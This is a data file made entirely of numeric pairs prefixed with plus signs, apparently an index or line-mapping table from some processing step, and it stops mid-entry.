+608 18076 +609 18077 +610 18078 +611 18079 +612 18080 +613 18081 +614 18082 +1365 17311 +917 17300 +918 17299 +919 17301 +920 17302 +921 17302 +922 17303 +923 17304 +924 17305 +925 17306 +926 17307 +927 17308 +928 17309 +929 17310 +930 17311 +931 17282 +932 17312 +933 17313 +934 17314 +935 17315 +936 17316 +937 17317 +938 17339 +939 17340 +940 17341 +941 17342 +942 17342 +943 17343 +944 17344 +945 17345 +946 17368 +947 17369 +948 17411 +949 17371 +950 17371 +955 17377 +956 17378 +957 17380 +958 17381 +959 17319 +962 17376 +963 17334 +964 17374 +965 17381 +966 17383 +967 17383 +968 17384 +969 17385 +970 17386 +971 17387 +972 17389 +973 17302 +974 17390 +975 17391 +976 17393 +977 17394 +978 17395 +979 17397 +980 17399 +981 17400 +982 17401 +983 17402 +984 17404 +985 17406 +986 17407 +988 17404 +989 17408 +2096 17352 +615 17187 +616 17225 +617 17245 +618 17193 +619 17192 +620 17194 +621 17204 +622 17205 +623 17715 +624 17206 +625 17207 +626 17209 +627 17384 +628 17210 +629 17211 +630 17213 +631 17214 +632 17212 +633 17215 +634 17181 +635 17053 +636 17218 +637 17227 +638 17226 +639 17223 +640 17228 +641 17239 +642 17242 +643 17241 +644 17243 +645 17244 +646 17247 +647 17248 +648 17246 +649 17245 +650 17014 +651 17015 +652 17013 +653 17016 +654 17017 +655 17122 +656 17023 +657 17021 +658 17019 +659 17020 +660 18058 +661 17024 +662 17025 +663 16408 +665 17026 +666 17030 +667 17027 +668 17029 +669 17731 +670 17028 +671 17034 +672 17036 +673 17035 +674 17037 +675 17038 +676 17039 +677 17040 +678 17040 +679 17738 +680 17041 +681 17042 +682 17043 +683 17044 +684 17046 +685 17045 +686 17047 +687 17048 +688 17050 +689 17059 +690 17061 +691 17058 +692 17058 +693 17055 +694 17126 +695 17058 +696 17056 +697 16065 +698 17065 +699 17133 +700 17132 +701 17086 +702 17074 +703 17073 +704 17075 +705 17340 +706 17076 +707 17079 +708 17078 +709 17078 +710 17080 +711 17084 +712 17085 +713 17089 +714 17088 +715 17088 +716 17091 +717 17091 +718 17094 +719 17092 +720 17095 +721 17093 +722 17096 +723 17097 +724 17100 +725 17102 +726 17102 +727 17105 +728 17106 +729 17106 +730 17109 +731 17113 +732 17111 +733 17110 +734 17112 +735 17108 +736 17107 +737 17114 +738 17119 +739 17998 +740 17998 +741 17998 +742 17998 +1881 17341 +2577 17181 +3815 17117 +3816 17117 +4658 17067 +4659 17068 +4660 17069 +4661 17072 +4662 17072 +4663 17071 +4864 17052 +4865 17104 +5088 17284 +5089 17276 +5090 17276 +5091 17274 +5092 17263 +5093 17271 +5094 17668 +5095 17270 +5096 17283 +5097 17269 +5098 17272 +5099 17281 +5101 17268 +5103 17281 +5104 17262 +5105 17266 +5106 17255 +5107 17255 +664 16991 +664 16992 +743 16811 +744 16796 +745 16797 +746 16798 +747 16799 +748 16800 +749 16801 +750 16802 +751 16803 +752 16804 +753 16805 +754 16806 +755 16796 +756 16807 +757 16808 +758 16809 +759 16810 +760 16813 +761 16814 +762 16814 +763 16832 +764 17238 +765 16818 +766 16841 +767 16845 +768 16856 +769 16877 +770 16864 +771 16824 +772 16866 +773 16826 +774 16868 +775 16869 +776 16870 +777 16871 +778 16872 +779 16872 +780 17729 +781 16874 +782 16875 +783 16876 +784 16877 +785 16878 +786 16880 +787 16881 +788 16882 +789 16883 +790 16884 +791 16885 +792 16886 +793 16887 +794 16888 +795 16889 +796 16889 +797 16890 +798 16891 +799 16892 +800 16893 +801 16894 +802 16898 +803 16900 +804 16897 +805 16898 +806 16358 +807 16358 +808 16358 +809 16358 +810 16358 +811 16358 +812 16358 +813 16358 +814 16358 +815 16358 +816 16358 +817 16358 +818 16358 +819 16358 +820 16358 +821 16358 +822 16358 +823 16358 +824 16358 +825 16449 +826 16449 +827 16449 +828 16449 +829 16449 +830 16449 +831 16449 +832 16449 +833 16358 +834 16358 +835 16358 +836 16358 +837 16358 +838 16358 +839 16358 +840 16358 +841 16358 +842 16358 +843 16358 +844 16533 +845 17788 +846 17327 +847 17327 +848 16449 +849 16449 +850 16449 +851 16449 +852 16449 +853 16449 +854 16449 +855 16449 +869 16327 +870 16327 +871 16327 +872 16327 +2924 16327 +2925 16314 +2926 16316 +2927 16910 +2928 16322 +2929 16323 +2930 16325 +2931 16324 +2932 16326 +4050 16487 +4051 16496 +4052 16486 +4053 16491 +4054 16484 +4055 16493 +4056 16489 +4057 16495 +4058 16485 +4059 16517 +4060 16492 +4061 16490 +4062 16494 +4063 16483 +4064 16499 +4065 16482 +4066 16488 +4067 16498 +4069 16455 +4070 16457 +4071 16456 +4072 16463 +4073 16459 +4075 16470 +4076 16474 +4077 16472 +4078 16473 +4079 16471 +4080 16468 +4081 16469 +4082 16465 +4083 16467 +4084 16467 +4087 16528 +4088 16535 +4089 16532 +4090 16531 +4091 16533 +4092 16534 +4093 16529 +4094 16702 +4095 17220 +4096 16527 +4097 16525 +4098 17178 +4099 16530 +4100 16520 +4101 17854 +4102 16522 +4103 18064 +4104 18064 +4105 16290 +4106 16294 +4107 16293 +4108 16296 +4109 16297 +4110 16295 +4111 16291 +4112 16292 +4113 16301 +4116 16361 +4117 16363 +4118 16362 +4119 16364 +4120 16367 +4121 16366 +4122 16360 +4123 16365 +4124 16349 +4125 16348 +4126 16351 +4127 16350 +4128 16319 +4129 16321 +4422 16416 +4423 16301 +4424 16401 +4425 16410 +4426 16423 +4427 16411 +4428 16417 +4429 16426 +4430 16406 +4431 16419 +4432 16413 +4433 16408 +4434 16420 +4435 16422 +4436 16421 +4437 16425 +4438 16405 +4439 16418 +4440 16424 +4441 16415 +4442 16427 +4443 16400 +4444 16414 +4445 16402 +4446 16403 +4447 16404 +4449 16447 +4450 16446 +4451 17765 +4452 16442 +4453 16445 +4455 16390 +4456 16391 +4457 16389 +4458 16381 +4459 16393 +4460 16374 +4461 16392 +4462 16385 +4463 16394 +4464 16378 +4465 16380 +4466 16379 +4467 16375 +4468 16388 +4469 16395 +4470 16382 +4471 16372 +4472 16371 +4473 16383 +4474 16373 +4475 16398 +4476 16376 +4477 16386 +4478 16396 +4479 16397 +4480 16384 +4547 16432 +4548 16433 +4549 16434 +4550 16431 +4551 16440 +4552 16437 +4553 16435 +4554 16430 +4555 16438 +4556 16439 +8437 16356 +8438 16451 +1177 17551 +1178 17666 +1179 17666 +1180 17667 +1181 17516 +1182 18087 +1183 17551 +1184 17666 +1185 17666 +1186 17667 +1187 18087 +1188 17670 +1189 17551 +1190 17666 +1191 17666 +1192 17667 +1193 18087 +1194 17670 +1195 17551 +1196 17666 +1197 17511 +1198 17511 +1199 17667 +1200 17516 +1201 18087 +1203 17639 +1204 17648 +1205 17666 +1206 17666 +1207 17667 +1208 17668 +1209 17669 +1210 17670 +1211 17566 +1212 17575 +1213 17571 +1214 17551 +1215 17579 +1216 17664 +1217 17602 +1218 17602 +1219 17666 +1220 17619 +1221 17629 +1222 17629 +1223 17629 +1224 17629 +1225 17629 +1226 17629 +1227 17629 +1228 17629 +1229 17629 +1230 17551 +1231 17666 +1232 17667 +1233 17667 +1234 18087 +1235 17629 +1236 17551 +1237 17666 +1238 17666 +1239 17667 +1240 17629 +1241 17551 +1242 17666 +1243 17666 +1244 17667 +1245 18087 +1246 17551 +1247 17666 +1248 17666 +1249 17667 +1250 18087 +1724 16259 +1725 16260 +1726 16270 +1727 16266 +1728 16265 +1729 16268 +1730 16267 +1731 16277 +1732 16391 +1733 16278 +1734 16285 +1735 16280 +1736 16281 +1737 16255 +1738 16254 +1739 16253 +1740 16256 +1741 16239 +1742 16257 +1743 16255 +1744 16242 +1745 16240 +1746 16239 +1747 16243 +1748 16250 +1749 16249 +1750 16247 +1751 16246 +1752 16248 +1753 16278 +1754 16278 +1755 16285 +4609 16264 +4610 16245 +2144 17692 +2145 17695 +2146 17694 +2147 17693 +2148 17753 +2149 17759 +2150 17765 +2151 17702 +2152 17715 +2153 17705 +2154 17931 +2155 17730 +2156 17697 +2157 17696 +2158 17733 +2159 17699 +2160 17700 +2161 17701 +2162 17721 +2163 17725 +2164 17738 +2165 17730 +2166 17729 +2167 17731 +2168 17732 +2169 17734 +2170 17733 +2171 17736 +2172 17735 +2173 17747 +2174 17779 +2175 17738 +2176 17741 +2177 17740 +2178 17790 +2179 17790 +2180 17794 +2181 17745 +2182 17747 +2183 17798 +2184 17802 +2185 17726 +2186 17725 +3120 17724 +4607 16159 +4608 17749 +5647 17724 +3238 16045 +3239 15547 +3240 15546 +3241 15548 +3242 15549 +3243 15550 +3244 15552 +3245 15551 +3246 16153 +3247 15593 +3248 15594 +3249 15596 +3250 15595 +3251 15597 +3252 15598 +3253 15599 +3254 15600 +3255 15593 +3256 15602 +3257 15603 +3258 15604 +3259 15607 +3260 15605 +3261 15606 +3262 15608 +3263 15609 +3264 15591 +3265 15614 +3266 15612 +3267 15613 +3268 15614 +3269 15615 +3270 15615 +3271 15617 +3272 16052 +3273 15621 +3274 15622 +3275 15622 +3276 15622 +3277 15624 +3278 15626 +3279 15625 +3280 15619 +3281 16153 +3282 15632 +3283 15595 +3284 15629 +3285 15631 +3286 15594 +3287 15633 +3288 15594 +3289 15630 +3290 15635 +3291 15634 +3292 15636 +3293 15628 +3294 15639 +3295 15640 +3296 15642 +3297 15645 +3298 15643 +3299 15641 +3300 15644 +3301 15646 +3302 15637 +3303 15648 +3304 15638 +3305 15661 +3306 15663 +3307 15662 +3308 15664 +3309 15666 +3310 15667 +3311 15665 +3312 15613 +3313 15669 +3314 15668 +3315 15670 +3316 15672 +3317 15647 +3318 15673 +3319 15569 +3320 15676 +3321 15677 +3322 15678 +3323 15679 +3324 15680 +3325 15688 +3326 15687 +3327 15689 +3328 15693 +3329 15692 +3330 15691 +3331 15690 +3332 15785 +3333 15694 +3334 15695 +3335 15696 +3336 15697 +3337 15698 +3338 15701 +3339 15700 +3340 15699 +3341 15702 +3342 15703 +3343 15704 +3344 15651 +3345 15652 +3346 15653 +3347 15654 +3348 15655 +3349 15656 +3350 15657 +3351 15658 +3352 15654 +3353 15706 +3354 15707 +3355 15709 +3356 15708 +3357 15718 +3358 15710 +3359 15718 +3360 15714 +3361 15711 +3362 15713 +3363 15717 +3364 15716 +3365 15715 +3366 15712 +3367 15719 +3368 15720 +3369 15721 +3370 15722 +3371 15723 +3372 15724 +3373 15754 +3374 15755 +3375 15756 +3376 15766 +3377 15762 +3378 15762 +3379 15760 +3380 15759 +3381 15757 +3382 15759 +3383 15759 +3384 15764 +3385 15797 +3386 15765 +3387 15765 +3388 15766 +3389 15726 +3390 15727 +3391 15728 +3392 15729 +3393 15730 +3394 15731 +3395 15734 +3396 15733 +3397 15732 +3398 15735 +3399 15736 +3400 15738 +3401 15737 +3402 15739 +3403 15740 +3404 15741 +3405 15745 +3406 15747 +3407 15743 +3408 15742 +3409 15746 +3410 15769 +3411 15768 +3412 15785 +3413 15810 +3414 15800 +3415 15816 +3416 15774 +3417 15775 +3418 15819 +3419 15778 +3420 15777 +3421 15829 +3422 15780 +3423 15847 +3424 15782 +3425 15784 +3426 15853 +3427 15853 +3428 15869 +3429 15870 +3430 15870 +3431 15871 +3432 15875 +3433 15873 +3434 15881 +3435 15891 +3436 15893 +3437 15892 +3438 15898 +3439 15896 +3440 15894 +3441 15897 +3442 15895 +3443 15899 +3444 15901 +3445 15786 +3446 15786 +3447 15786 +3448 15692 +3449 15692 +3450 15698 +3451 15698 +3452 15698 +3453 15698 +3454 15922 +3455 15923 +3456 15925 +3457 15926 +3458 15924 +3459 15927 +3460 15928 +3461 15929 +3462 15931 +3463 15930 +3464 15932 +3465 15904 +3466 15933 +3467 15935 +3468 15934 +3469 15936 +3470 15906 +3471 15907 +3472 15909 +3473 15910 +3474 15913 +3475 15912 +3476 15911 +3477 15984 +3478 15916 +3479 15915 +3480 15918 +3481 15919 +3482 15920 +3483 15943 +3484 15948 +3485 15981 +3486 15983 +3487 15983 +3488 15985 +3489 15985 +3490 15985 +3491 15986 +3492 15989 +3493 15988 +3494 15988 +3495 15991 +3496 15992 +3497 15993 +3498 15994 +3499 15995 +3500 15775 +3501 15998 +3502 15999 +3503 15997 +3504 16001 +3505 16002 +3506 16001 +3507 16003 +3508 16004 +3509 16005 +3510 16006 +3511 15970 +3512 15971 +3513 15973 +3514 15972 +3515 15974 +3516 15975 +3517 15976 +3518 15978 +3519 15977 +3520 15979 +3521 15970 +3522 16014 +3523 16018 +3524 16015 +3525 16018 +3526 16016 +3527 16017 +3528 16018 +3529 16019 +3530 16020 +3531 16021 +3532 16024 +3533 16024 +3534 16023 +3535 16025 +3536 16026 +3537 16000 +3538 16027 +3539 16027 +3540 16029 +3541 16030 +3542 16031 +3543 16032 +3544 16033 +3545 16033 +3546 16034 +3547 16033 +3548 16035 +3549 16043 +3550 16036 +3551 16037 +3552 16043 +3553 16038 +3554 16039 +3555 16040 +3556 16044 +3557 16041 +3558 16043 +3559 16044 +3560 15691 +3561 16042 +3562 16045 +3563 16045 +3564 16046 +3565 16046 +3566 16047 +3568 16063 +3569 16523 +3570 16065 +3571 16067 +3573 16066 +3574 16068 +3575 16069 +3576 16071 +3577 15743 +3578 16070 +3579 16070 +3580 16050 +3581 16051 +3582 16052 +3583 16053 +3584 15873 +3585 15993 +3586 16060 +3587 16056 +3588 16054 +3589 16055 +3590 16057 +3591 16058 +3593 16060 +3594 16059 +3595 16061 +3596 15590 +3597 15590 +3598 16073 +3599 16074 +3600 16077 +3601 16075 +3602 16077 +3603 16076 +3604 16078 +3605 16077 +3606 0 +3607 16096 +3608 0 +3609 16097 +3610 16098 +3611 16099 +3612 16101 +3613 16102 +3614 0 +3615 16103 +3616 16105 +3617 16106 +3618 16106 +3619 16104 +3620 16104 +3621 16104 +3622 16140 +3623 16142 +3624 16141 +3625 16143 +3626 16144 +3627 16145 +3628 16146 +3629 16147 +3630 16148 +3631 16149 +3632 16150 +3633 16151 +3634 16108 +3635 16109 +3636 16112 +3637 16111 +3638 16113 +3639 15733 +3640 16116 +3641 16115 +3642 16118 +3643 16117 +3644 16117 +3645 16119 +3646 16120 +3647 16121 +3648 16122 +3649 16122 +3650 16080 +3651 16081 +3652 16082 +3653 16083 +3654 16086 +3655 16085 +3656 16094 +3657 16088 +3658 16087 +3659 16087 +3660 16092 +3661 16091 +3662 16090 +3663 16093 +3664 16094 +3665 16094 +3666 16091 +4974 17874 +4975 17879 +4976 17872 +4977 17875 +4978 17876 +4979 17878 +4980 17868 +4981 17869 +4982 17870 +4983 17867 +4984 17865 +4985 17880 +4986 17882 +4987 17866 +4988 17813 +4989 17816 +4990 17817 +4991 17818 +4992 17815 +4993 17821 +4994 17822 +4995 17819 +4996 17814 +4997 17820 +4998 17820 +4999 17894 +5000 17920 +5001 17847 +5002 17853 +5003 17831 +5004 17832 +5005 17833 +5006 17848 +5007 17857 +5008 17834 +5009 17825 +5010 17835 +5011 17822 +5012 17854 +5013 17837 +5014 17855 +5015 17827 +5016 17823 +5017 17828 +5018 17836 +5019 17850 +5020 17841 +5021 17829 +5022 17851 +5023 17826 +5024 17860 +5025 17846 +5026 17838 +5027 17852 +5028 17849 +5029 17858 +5030 17842 +5031 17840 +5032 17830 +5033 17843 +5034 17845 +5035 17824 +5036 17859 +5037 17844 +5038 17844 +5039 18053 +5040 18031 +5041 18031 +5042 18014 +5043 17813 +5044 18045 +5045 18045 +5046 18038 +5047 18045 +5048 17812 +5049 18042 +5050 18035 +5051 18005 +5052 18023 +5053 18010 +5054 17988 +5055 17961 +5056 17949 +5057 17974 +5058 17940 +5059 17930 +5060 18054 +5061 18053 +5062 18052 +5063 18050 +16815 12478 +17303 12938 +4191 12614 +432 8501 +1914 10606 +1915 10612 +1916 10617 +1917 10618 +1918 11598 +1919 10518 +1920 10479 +1921 11608 +1922 11613 +1923 10483 +1924 10484 +1925 10485 +1926 10486 +1927 10487 +1928 13174 +1929 10488 +1930 10489 +1931 10490 +1932 10491 +1933 10492 +1934 10493 +1935 10494 +1936 10495 +1937 10496 +1938 10497 +1939 10498 +1940 10499 +1941 10500 +1942 10501 +1943 10502 +1944 10503 +1945 10516 +1946 10504 +1947 10505 +1948 10506 +1949 10507 +1950 10508 +1951 10509 +1952 10521 +1953 10512 +1954 10522 +1955 10523 +1956 10524 +1957 10525 +1958 10526 +1959 11646 +1960 10547 +1961 10548 +1962 10550 +1963 10551 +1964 10552 +1965 10527 +1966 10528 +1967 10529 +1968 10530 +1969 10531 +1970 10532 +1971 10533 +1972 10534 +1973 10535 +1974 10536 +1975 10537 +1976 10538 +1977 10539 +1978 10540 +1979 10541 +1980 10542 +1981 10543 +1982 10544 +1983 10545 +1984 10553 +1985 10554 +1986 10555 +1987 10556 +1988 11000 +1989 10557 +1990 10558 +1991 10559 +1992 10560 +1993 10561 +1994 10562 +1995 10563 +1996 10565 +1997 10564 +1998 10566 +1999 10578 +2001 10567 +2002 10568 +2003 10569 +2004 10570 +2005 10571 +2006 10572 +2007 10573 +2008 10574 +2009 10575 +2010 10576 +2011 10577 +2012 10579 +2013 10580 +2014 10581 +2015 10582 +2016 10583 +2017 10584 +2018 10585 +2019 10586 +2020 10587 +2021 10588 +2022 10589 +2023 10518 +2024 10590 +2025 10591 +2026 10592 +2027 10592 +2028 10593 +2029 10594 +2030 10595 +2031 10596 +2032 10597 +2033 10598 +2034 11000 +2035 11001 +2036 11674 +2037 10985 +2038 10604 +2039 10605 +2040 10603 +2041 10603 +2042 10603 +2043 10919 +2044 10607 +2045 10608 +2046 10513 +2047 10609 +2048 10610 +2049 10611 +2050 10612 +2051 10613 +2052 10614 +2053 10616 +2054 10615 +2055 10619 +2056 10993 +2057 11666 +2058 11669 +2059 11679 +5521 10510 +5522 11650 +5523 10728 +5525 10092 +5526 10136 +5527 10483 +5528 11598 +5529 10483 +5530 10483 +5531 10136 +5532 10154 +5533 10162 +5534 10168 +5535 10180 +5536 10483 +5538 11619 +5539 11609 +5540 11675 +5541 10547 +5542 10491 +4 6419 +5 6694 +6 6516 +7 6969 +36 6520 +37 7553 +38 7000 +39 6485 +40 6921 +113 7603 +114 6516 +116 6825 +117 6840 +120 6772 +140 6826 +143 6826 +145 6512 +147 6826 +151 6770 +153 6760 +155 6784 +158 6764 +160 6766 +162 6575 +165 6967 +166 7519 +167 6967 +168 6556 +169 6556 +170 7597 +171 6708 +172 6993 +173 7572 +174 6666 +175 6961 +176 7617 +177 7617 +178 6784 +3854 7613 +3855 7613 +3856 6483 +3857 7613 +3858 6474 +3859 6478 +3860 7613 +3861 7613 +3863 7549 +3864 7541 +3865 7532 +3866 6511 +3868 6566 +3869 6566 +3870 6566 +3871 6566 +3873 6491 +3874 6499 +3875 6498 +3877 6516 +3878 6521 +3879 6521 +3880 6498 +3901 6803 +3902 6575 +4047 7602 +5724 6807 +5725 6811 +5726 6860 +5727 6853 +5728 6800 +5729 6844 +5730 6821 +5731 6861 +5732 6876 +5733 6875 +5734 6792 +5735 6867 +5736 6832 +5737 6806 +5738 6814 +5739 6876 +5740 6906 +5741 6852 +5742 6818 +5743 6906 +5744 6855 +5745 6838 +5746 6836 +5747 6837 +5749 6822 +1953 11648 +1650 10509 +2058 11678 +2046 14775 +2044 11674 +2050 10795 +2058 11678 +3711 11863 +4239 11899 +37 7553 +4 6419 +114 6516 +413 8475 +415 8475 +176 7612 +1660 9813 +15 15033 +48 15036 +49 15041 +50 15031 +1028 14726 +1029 14733 +1030 14737 +1031 14734 +1032 14710 +1033 14707 +1034 14709 +1035 14722 +1036 14932 +1037 14932 +1039 14808 +1040 14816 +1041 14842 +1042 14866 +1046 14871 +1047 14792 +1048 14864 +1049 14860 +1050 14917 +1051 14913 +1052 14879 +1053 14885 +1054 14805 +1055 14929 +1056 14805 +1057 14931 +1058 14804 +1059 14803 +1060 14927 +1061 14928 +1062 14930 +1063 15536 +1064 15536 +1065 15536 +1066 15026 +1067 15030 +1069 15057 +1072 15534 +1073 15413 +1074 15425 +1075 15427 +1076 15453 +1077 15375 +1078 15415 +1079 15434 +1080 15068 +1081 15001 +1082 15049 +1083 15049 +1085 15065 +1086 15078 +1087 15017 +1088 15042 +1089 15045 +1090 15067 +1091 15027 +1092 15061 +1093 15064 +1094 15147 +1095 15344 +1096 15137 +1097 15137 +1098 15233 +1099 15231 +1100 15325 +1101 15355 +1102 15237 +1103 15159 +1104 15270 +1105 15171 +1106 15171 +1107 15171 +1108 15171 +1109 15331 +1110 15332 +1111 15336 +1112 15337 +2462 14729 +2463 14723 +2464 15000 +2465 15002 +2466 15026 +2467 15050 +2468 15051 +2469 15063 +2470 15044 +2471 15020 +2472 15073 +2473 15349 +2474 15346 +2475 15344 +2477 15175 +2478 15175 +3844 15047 +3944 14801 +3945 14801 +3946 14801 +3947 14801 +3948 14932 +3955 15320 +3956 15348 +3958 14949 +3959 14957 +3960 14965 +3961 14964 +3962 14950 +3963 14950 +3964 14962 +3965 14958 +3966 14958 +3967 14955 +3968 14954 +3969 14953 +3970 14952 +3971 15379 +3972 15390 +3973 15389 +3974 15391 +3975 15380 +3976 15392 +3977 15393 +3978 15381 +3979 15395 +3980 15382 +3981 15383 +3982 15384 +3983 15397 +3984 15433 +3985 15466 +3986 15399 +3987 15398 +3988 15400 +3989 14953 +3990 15518 +3991 15376 +3992 15417 +3993 15506 +3994 15450 +3995 15530 +3996 15077 +3997 15049 +3998 15048 +3999 15525 +4000 15057 +4001 15059 +4002 15056 +4003 15058 +4004 15054 +4005 15060 +4006 15008 +4007 15018 +4008 15011 +4009 15013 +4010 15073 +4011 15049 +4012 15049 +4013 15049 +4014 15049 +4015 15067 +4016 15067 +4019 15249 +4020 15248 +4021 15245 +4022 15255 +4023 15250 +4024 15251 +4026 15254 +4027 15248 +4028 14953 +4029 14953 +4030 15248 +4031 15377 +4033 15003 +4034 15039 +4035 15038 +4041 15260 +4130 14727 +4131 14728 +4263 14956 +4264 14713 +4265 14712 +4266 14711 +4267 14711 +4268 14708 +4272 14829 +4273 14830 +4274 14831 +4275 14835 +4276 14834 +4277 14838 +4278 14837 +4279 14771 +4280 14773 +4281 14774 +4282 14775 +4283 14796 +4284 14772 +4285 14776 +4286 14796 +4288 14777 +4289 14778 +4290 14779 +4291 14780 +4292 14782 +4293 14781 +4294 14785 +4295 14784 +4296 14783 +4297 14786 +4298 14780 +4300 14787 +4301 15348 +4303 14899 +4304 14897 +4305 14898 +4306 14901 +4307 14904 +4308 14905 +4309 14902 +4310 14907 +4311 14909 +4312 14906 +4313 14908 +4314 14910 +4335 14839 +4336 14841 +4338 14843 +4339 14844 +4340 14840 +4341 14847 +4342 14848 +4343 14849 +4344 14851 +4345 14852 +4346 14853 +4347 14854 +4348 14855 +4349 14857 +4350 14856 +4351 14858 +4352 14891 +4353 14892 +4354 14893 +4355 14894 +4356 14896 +4357 14895 +4358 14846 +4359 14760 +4360 14762 +4361 14761 +4362 14763 +4363 14764 +4364 15117 +4366 14871 +4367 14872 +4368 14875 +4369 14873 +4370 14874 +4371 14870 +4372 14878 +4373 14913 +4374 14890 +4375 14888 +4376 14884 +4377 14883 +4378 14880 +4379 14853 +4380 14917 +4381 14915 +4382 14918 +4383 14914 +4384 14912 +4385 14923 +4388 14802 +4389 14865 +4390 14868 +4391 14869 +4392 15482 +4393 14809 +4394 14808 +4395 14810 +4396 14811 +4397 14813 +4398 14812 +4399 14814 +4400 14816 +4401 15489 +4402 14819 +4403 14823 +4404 14821 +4405 14820 +4406 14822 +4407 14824 +4408 14827 +4409 14828 +4410 15025 +4411 14825 +4412 14919 +4413 14920 +4414 14922 +4415 15468 +4416 14925 +4417 14876 +4418 14877 +4483 14817 +4504 15162 +4506 14891 +4614 15349 +4643 14815 +4648 15170 +4664 15194 +4665 14961 +4858 15341 +4859 15344 +4860 15343 +4861 15339 +4862 15338 +4863 15342 +4867 15215 +4868 15213 +4869 15214 +4870 15211 +4871 15212 +4872 15217 +4873 15217 +4874 15217 +5216 15534 +5278 15292 +5279 15306 +5280 15308 +5281 15307 +5282 15295 +5283 15300 +5284 15303 +5285 15302 +5287 15301 +5288 15310 +5289 15304 +5291 15296 +5292 15309 +5293 15310 +5295 15298 +5314 15201 +5315 15203 +5316 15198 +5317 15196 +5318 15210 +5319 15204 +5320 15195 +5321 15206 +5322 15207 +5324 15197 +5325 15200 +5326 15116 +5327 15209 +5328 15199 +5329 15208 +5330 15205 +5383 15293 +5678 14900 +5686 15269 +1072 15372 +9873 15537 +664 15539 +1883 10903 +1884 10914 +1494 9504 +1515 9530 +1527 9523 +1528 9523 +1529 9523 +1530 9523 +1531 9523 +1532 9523 +1542 9548 +5124 9548 +5125 9502 +5519 9503 +2487 10276 +2488 11095 +2489 10279 +2490 10325 +2491 11228 +2492 11172 +2493 11270 +2494 10318 +2495 10319 +2496 10318 +2497 11091 +2498 10385 +2499 10387 +2501 11162 +2502 11170 +2503 10441 +2504 10439 +2505 9654 +2506 9665 +2507 9674 +2508 9676 +2509 9677 +2510 9683 +2511 9680 +2512 9685 +2513 9686 +2514 9697 +2515 9695 +2516 9701 +2517 9706 +2518 9710 +2519 9711 +2520 9728 +2521 9721 +2522 9717 +2523 9715 +2524 9710 +2525 9738 +2526 9744 +2527 9747 +2528 9754 +2529 9757 +2530 9760 +2531 10183 +2532 10207 +2533 10216 +2534 10217 +2535 10271 +2548 9868 +2550 9880 +2552 14671 +2554 10813 +2555 14662 +2556 9893 +2557 9901 +2559 10762 +2560 9927 +2561 9897 +2562 9549 +2563 9551 +2564 9562 +2565 9564 +2566 9580 +2567 9573 +2568 9571 +2569 9582 +2570 9590 +2571 9609 +2572 9608 +2573 9612 +2574 9624 +2575 9652 +2576 9640 +5331 11540 +2850 11785 +2860 11779 +2861 12495 +2862 12500 +2883 12509 +2885 12510 +2886 12511 +2887 12512 +2890 12513 +2891 12514 +2892 12315 +2893 12515 +2894 12516 +2898 12445 +2899 12451 +4244 13138 +4245 13130 +4246 12306 +4247 12940 +4248 12231 +4249 12238 +4250 12174 +4251 12135 +4252 12822 +4253 12096 +4254 12101 +4255 12086 +4256 12126 +4638 12464 +4644 12869 +1000 8656 +1001 8660 +1002 8661 +1113 8531 +1114 8531 +1115 8524 +1116 8467 +1118 8531 +1124 8475 +1202 8563 +1376 8695 +1377 8695 +1378 8695 +1379 8695 +1380 8695 +1381 8695 +1382 8695 +1383 8695 +1384 8695 +1385 8695 +1386 8695 +1387 8695 +1388 8704 +1389 8704 +1390 8704 +1391 8704 +1392 8704 +1393 8704 +1394 8704 +1395 8704 +1396 8704 +1397 8704 +1398 8718 +1399 8718 +1400 8718 +1401 8718 +1402 8718 +1403 8718 +1404 8718 +1406 8718 +1407 8718 +1408 8700 +1409 8700 +1410 8700 +1411 8700 +1412 8700 +1413 8700 +1414 8700 +1415 8700 +1416 8700 +1417 8700 +1418 8705 +1419 8692 +1420 8689 +1421 8693 +1422 8691 +1423 8684 +1424 8698 +1425 8699 +1426 8697 +1427 8690 +1536 8489 +1545 8489 +1547 8571 +1892 8489 +2113 8695 +2114 8695 +288 8498 +289 8481 +290 8479 +291 8484 +292 8468 +293 8481 +294 8489 +295 8479 +296 8496 +297 8479 +298 8497 +299 8536 +300 8536 +301 8536 +302 8536 +303 8536 +304 8536 +305 8532 +306 8531 +308 8533 +309 8533 +310 8496 +311 8533 +312 8534 +313 8534 +314 8535 +315 8535 +316 8531 +317 8529 +318 8529 +319 8529 +320 8529 +3201 8531 +321 8529 +322 8466 +323 8524 +324 8524 +325 8466 +326 8525 +327 8524 +328 8463 +329 8526 +330 8463 +331 8526 +332 8526 +333 8528 +334 8528 +335 8527 +336 8527 +337 8527 +338 8529 +339 8562 +340 8565 +341 8564 +343 8569 +344 8568 +345 8571 +346 8555 +347 8571 +348 8582 +349 8581 +350 8571 +351 8554 +352 8570 +353 8570 +354 8571 +356 8567 +357 8563 +359 8480 +360 8480 +361 8480 +362 8483 +363 8483 +364 8475 +365 8472 +366 8475 +367 8474 +368 8477 +369 8464 +3820 8619 +3821 8632 +3822 8611 +3823 8614 +3824 8611 +3825 8621 +3826 8631 +3827 8631 +3828 8619 +3829 8611 +3830 8614 +3831 8611 +3832 8631 +3833 8621 +3846 8494 +3847 8495 +4420 8619 +4482 8526 +4498 8659 +4499 8633 +4502 8704 +4503 8718 +4557 8448 +4560 8717 +4561 8696 +4562 8696 +4565 8530 +4566 8537 +4568 8696 +4569 8610 +4612 8718 +4615 8629 +4616 8519 +4617 8526 +4620 8528 +4622 8521 +4624 8702 +4625 8703 +4626 8701 +4637 8704 +4640 8702 +4641 8719 +4642 8630 +4650 8446 +4655 8572 +4854 8628 +5201 8609 +5202 8467 +5204 8486 +5205 8487 +5206 8473 +5211 8489 +5212 8488 +5213 8492 +5214 8483 +5363 8649 +5364 8652 +5365 8651 +5366 8649 +5367 8649 +5368 8640 +5369 8647 +5370 8642 +5371 8643 +5373 8646 +5374 8648 +5375 8644 +5376 8664 +5377 8663 +5378 8666 +5379 8665 +5380 8668 +5381 8667 +5382 8662 +996 8653 +997 8658 +998 8657 +999 8655 +1487 9501 +1488 9503 +1490 9502 +1491 9506 +1492 9504 +1493 9505 +1494 9326 +5125 9513 +5519 9528 +5711 9503 +5712 9504 +1557 9930 +1558 9931 +1559 9932 +1560 9933 +1561 9935 +1562 9936 +1563 9936 +4572 9873 +4573 10806 +4574 10803 +4575 10804 +4576 10805 +4577 10802 +4578 10801 +4579 9876 +4580 9877 +4581 9875 +4582 10797 +4583 10800 +4584 10795 +4585 10798 +4586 10796 +4587 10799 +1564 9938 +1565 9938 +1566 9938 +1567 9942 +1568 9943 +1569 9944 +1570 9946 +1571 9947 +1495 9507 +1496 9507 +1497 9508 +1498 9508 +1499 9508 +1500 9508 +1527 9524 +1528 9525 +1529 